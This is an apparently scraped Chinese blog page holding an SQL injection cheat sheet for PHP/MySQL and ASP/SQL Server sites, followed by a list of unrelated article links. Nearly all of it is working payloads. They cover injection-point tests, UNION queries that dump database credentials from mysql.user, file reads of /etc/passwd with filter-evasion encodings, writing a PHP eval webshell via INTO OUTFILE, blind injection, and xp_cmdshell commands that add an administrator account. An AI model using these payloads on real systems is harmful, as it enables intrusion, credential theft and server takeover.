sql注入
来源:互联网 发布:淘宝助理无法联机打印 编辑:程序博客网 时间:2024/05/17 07:49
php+mysql
url: http://www.example.com/news.php?id=1
mysql 4.5x 及以上,支持UNION查询
判断注入点
1' and 1=1#
1' and 1=2#
返回所以数据,常用于搜索功能页面
1' or 1=1#
猜表名
1 and exists(select * from admin)猜列名
1 and exists(select pwd from admin);
试探有几个变量
1' and 1=2 union select 1,2,3,4...#
尝试成功后,共7列,第6列用于显示数据
1' and 1=2 union select 1,2,3,4,5,user,7 from mysql.user
union select version()#当前库名
union select database()#数据库用户名
union select user()#
union select session_user()#
union select system_user()#
数据库用户的名字与密码,密码MD5加密写入
union select user, password from mysql.user#
读取文件,必须为文件路径全名,绝对路径
union select load_file('/etc/password')#
过滤了就用hex表示,过滤了空格就用“+”表示,windows斜杠要反过c:/www/
union select load_file(0x2F6574632F70617373776F7264)
load_file(char(47,101,116,99,47,112,97,115,115,119,100))
可以显示在日期,浏览量等地方,灵活读取,甚至hex()
replace(load_file(0x2F6574632F706173737764),0x3c,0x20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
写入一句话木马
information_schema.SCHEMATA表中的SCHEMA_NAME 查看所有的数据库
select '<?php eval($_POST[cmd])?>' into outfile 'c:/test.php';
union select 0,0,SCHEMA_NAME from information_schema.SCHEMATAinformation_schema.TABLES 表中的TABLE_NAME和TABLE_SCHEMA查看所有的表名和所在的数据库
select TABLE_NAME ,TABLE_SCHEMA from information_schema.TABLES where TABLE_SCHEMA = "admin"information_schema.COLUMNS 表中的 COLUMN_NAME 查看表中的所有列名
select TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= "admin"
mysql 3.x 版本不支持union
盲注
mid(string, offset, len)一个一个字节尝试,每个字节最多255次
and ascii(mid(load_file('/etc/password'),0,1)=1当然应该用二分的思想。
ASP+SQL Server
sql server支持union,而且可以多句查询,分号隔开就行了。
sql server的行注释为"--"
判断注入点
and 1=1--
' and 1=2--
暴露user,user为当前连接用户名,sql server内置变量,nvarchar类型,与int比较出错,暴露user
url;and user>0--数据库名
url;and db_name()>0sysobject是sql server的系统表,msysobjects是access的系统表,可以判断数据库类型
and (select count(*) from msysobjects)>0
and (select count(*) from msysobjects)>0检索用户创建的表的个数
and select count(*) from sysobjects where Xtype='u' and status>0获取第一个表名
and select Top 1 name from sysobjects where Xtype='u' and status>0其他的表名
and select top 1 name from sysobjects where Xtype='u' and status>0 and name!='first table name'
获取列名
and select top 1 col_name(object_id('table name'),1) from sysobjects
读出列名的每一个字符
select top 1 asc(mid(col name, 1,1,)) form table name
使用存储过程xp_cmdshell
url;exec master.xp_cmdshell "net user test test /add"
url;exec master.xp_cmdshell "net localgroup administrators test /add"数据库备份
;backup database 'database name' to disk='path'
- SQL注入--GET注入
- 注入攻击--SQL注入
- 【sql注入】mysql注入
- SQL注入
- SQL注入
- SQL注入
- sql注入
- SQL注入
- SQL注入
- SQL注入
- SQL注入
- sql注入
- SQL注入
- SQL注入
- SQL注入
- SQL注入
- SQL注入
- sql注入
- C++ Primer笔记 第2章 变量和基本类型
- 黑马程序员 笔记(三)——语句
- 数据结构实验之栈二:一般算术表达式转换成后缀式
- java串口(转自http://blog.csdn.net/kabini/article/details/1601324)
- Digester原理
- sql注入
- 资源文件的读取
- PHP和MySQL Web开发读书笔记一
- Linux 编程经典书籍推荐(2012年2月)
- FTP commands for batch files
- Java 5 中增强的for循环——for/in (for each)
- ZigBee:关于在win7(64bits)上安装IAR
- 比较文件和磁盘剩余空间大小
- 上下界的网络流